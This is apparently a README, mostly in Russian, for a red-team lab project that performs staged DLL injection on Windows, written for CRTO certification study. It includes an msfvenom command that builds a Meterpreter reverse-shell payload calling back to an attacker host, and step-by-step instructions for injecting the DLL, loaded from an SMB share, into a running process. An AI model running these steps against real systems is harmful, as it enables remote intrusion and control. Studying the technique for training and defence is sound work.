staged-DLL-Injection

Экспериментальное внедрение DLL по стадиям, написанное на C с использованием Win32 API — разработано в изолированной лабораторной среде для изучения сертификации красной команды (CRTO).

⚠️ Отказ от ответственности: Этот проект был разработан строго в изолированной лабораторной среде в образовательных целях в рамках исследования безопасности и подготовки к сертификации (CRTO). Он не предназначен для использования против любых систем без явного письменного разрешения. Несанкционированное использование незаконно и неэтично.

Обзор

Экспериментальная реализация внедрения DLL по стадиям в Windows, созданная в рамках изучения сертификации красной команды. Этот проект демонстрирует, как стагер может удалённо загрузить вредоносную DLL в целевой процесс с помощью нативных Win32 API. Лучше всего работает в среде AD, где разрешён трафик SMB во внутренней сети; не рекомендуется использовать через интернет.

Использование

1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>

Как это работает

Стагер (phc.c)

• Принимает PID целевого процесса в качестве аргумента командной строки
• Открывает дескриптор целевого процесса через OpenProcess
• Выделяет память внутри целевого процесса через VirtualAlloc
• Получает адрес LoadLibraryW из Kernel32
• Запускает удалённый поток через CreateRemoteThread, который вызывает LoadLibraryW, загружая DLL с удалённого ресурса SMB

DLL (maindll.dll)

• Содержит встроенную shellcode-нагрузку
• DllMain автоматически срабатывает при DLL_PROCESS_ATTACH
• Выделяет исполняемую память через VirtualAlloc
• Копирует shellcode в память и выполняет его через CreateThread

Схема атаки

phc.exe → Открывает целевой процесс → Выделяет память в целевом процессе → Загружает maindll.dll с SMB-ресурса через LoadLibraryW → Срабатывает DllMain → Shellcode выполняется внутри целевого процесса

Продемонстрированные техники

• Удалённое внедрение DLL через CreateRemoteThread + LoadLibraryW
• Встраивание shellcode и его выполнение на C
• Злоупотребление точкой входа DLL через DllMain
• Удалённая стадийная загрузка полезной нагрузки через SMB

Создано с помощью

• C
• Win32 API
• msfvenom
• Sliver C2

Среда

Протестировано на Windows 10 в изолированной лабораторной среде. C2-слушатель размещён на Kali Linux.